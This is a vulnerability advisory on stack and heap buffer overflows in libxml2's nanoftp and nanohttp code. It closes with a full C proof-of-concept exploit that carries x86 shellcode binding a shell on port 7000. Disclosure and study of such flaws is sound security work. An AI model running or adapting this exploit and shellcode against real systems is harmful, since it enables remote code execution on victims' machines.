|
|
|
|
| |
Libxml2 is the XML C parser and toolkit developed for the Gnome project (but usable outside of the Gnome platform), it is free software available under the MIT License.
Several buffer overflows were found in various code portions in libxml2. The overflows are not related to XML parsing but to a different parsing code within libxml. |
| |
Credit:
The information has been provided by sean.
|
| |
Vulnerable Systems:
* libxml2 version 2.6.12 and 2.6.13
Immune Systems:
* libxm2 version 2.6.15
* There is a buffer overflow when parsing a URL with FTP information in it. A loop incorrectly copies data from a user supplied buffer into a finite stack buffer with no regard for the length being copied.
* A buffer overflow exists when parsing a proxy URL with FTP information in it. A loop incorrectly copies data from a user supplied buffer into a finite stack buffer with no regard for the length being copied.
* There are multiple buffer overflows in the code that resolves names via DNS. An attacker running a malicious DNS server, or an attacker on a LAN spoofing DNS
replies could leverage these to execute code on the victim's computer.
Buffer overflow when parsing a URL with FTP information
The vulnerable code responsible for the this overflow is located in the nanoftp.c source file, in the xmlNanoFTPScanURL():
while (cur[0] != ']')
buf[indx++] = *cur++;
Where 'buf' is a stack-allocated buffer and cur is the URL which the attacker is able to control. The same loop is used throughout the code but with proper checks, hence the same mistake is avoided:
while ((cur[0] != ']') && (indx < XML_NANO_MAX_URLBUF-1))
buf[indx++] = *cur++;
A sample proof of concept exploit is provided at the end of this advisory.
Buffer overflow when parsing a proxy URL with FTP information
As before, the vulnerable code is located in the nanoftp.c source file but in the xmlNanoFTPScanProxy() function:
while (cur[0] != ']')
buf[indx++] = *cur++;
The same coding error as the one before causes the same type of buffer overflow to occur.
Buffer overflows when handling DNS replies
There are two different functions, with three different code sections each containing two overflows. However, these are not six buffer overflows since two bugs are conditionally compiled only if two others are not.
The first two occur in the file nanoftp.c, lines 1110-1120, in the xmlNanoFTPConnect() function. The function getaddrinfo() is called to resolve a hostname and the returned info is then copied into a heap buffer in a call to memcpy(). The copy length is taken from the DNS reply, rather than using the size of the destination structure minimized against the size of the reply.
The second set occur in nanohttp.c, lines 1070-1080, in the xmlNanoHTTPConnectHost() function. Data from getaddrinfo() is again copied incorrectly, this time into a local stack buffer.
The third set of overflows occurs in nanohttp.c, lines 1145-1155, in the xmlNanoHTTPConnectHost() function. This time, gethostbyname() is called, and data is again copied using memcpy() into a local stack buffer using the DNS length instead of the destination structure size.
Note: Since these overflows are not related to the XML parsing code which is used by 99% of the programs using libxml, these overflows might be hard to exploit correctly.
Proof Of Concept
/*
* libxml 2.6.12 nanoftp bof POC infamous42mdAThotpopDOTcom
*
* [n00b@localho.outernet] gcc -Wall libsuxml.c -lxml2
* [n00b@localho.outernet] ./a.out
* Usage: ./a.out <retaddr> [ align ]
* [n00b@localho.outernet] netstat -ant | grep 7000
* [n00b@localho.outernet] ./a.out 0xbfff0360
* xmlNanoFTPScanURL: Use [IPv6]/IPv4 format
* [n00b@localho.outernet] netstat -ant | grep 7000
* tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <libxml/nanoftp.h>
#define die(x) do{ perror((x)); exit(1); }while(0)
#define BS 0x10000
#define NOP 0x90
#define NNOPS 3000
#define ALIGN 0
/* call them */
#define SHELL_LEN (sizeof(sc)-1)
char sc[] =
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
/*
*/
int main(int argc, char **argv)
{
int x = 0, len = 0;
char buf[BS] = {'A',};
long retaddr = 0, align = ALIGN;
if(argc < 2){
fprintf(stderr, "Usage: %s <retaddr> [ align ]\n", argv[0]);
return EXIT_FAILURE;
}
if(sscanf(argv[1], "%lx", &retaddr) != 1)
die("sscanf");
if(argc > 2)
align = atoi(argv[2]);
if(align < 0 || align > 3)
die("nice try newblar");
strncpy(buf, "://[", 4);
len += 4;
memset(buf+len, NOP, NNOPS);
len += NNOPS;
memcpy(buf+len, sc, SHELL_LEN);
len += SHELL_LEN;
len += align;
for(x = 0; x < 2000 - (sizeof(retaddr) - 1); x += sizeof(retaddr))
memcpy(buf+len+x, &retaddr, sizeof(retaddr));
buf[len+x] = ']';
buf[len+x+1] = 0;
xmlNanoFTPNewCtxt(buf);
return EXIT_SUCCESS;
}
|
|
|
|
|
|
|
|
|
|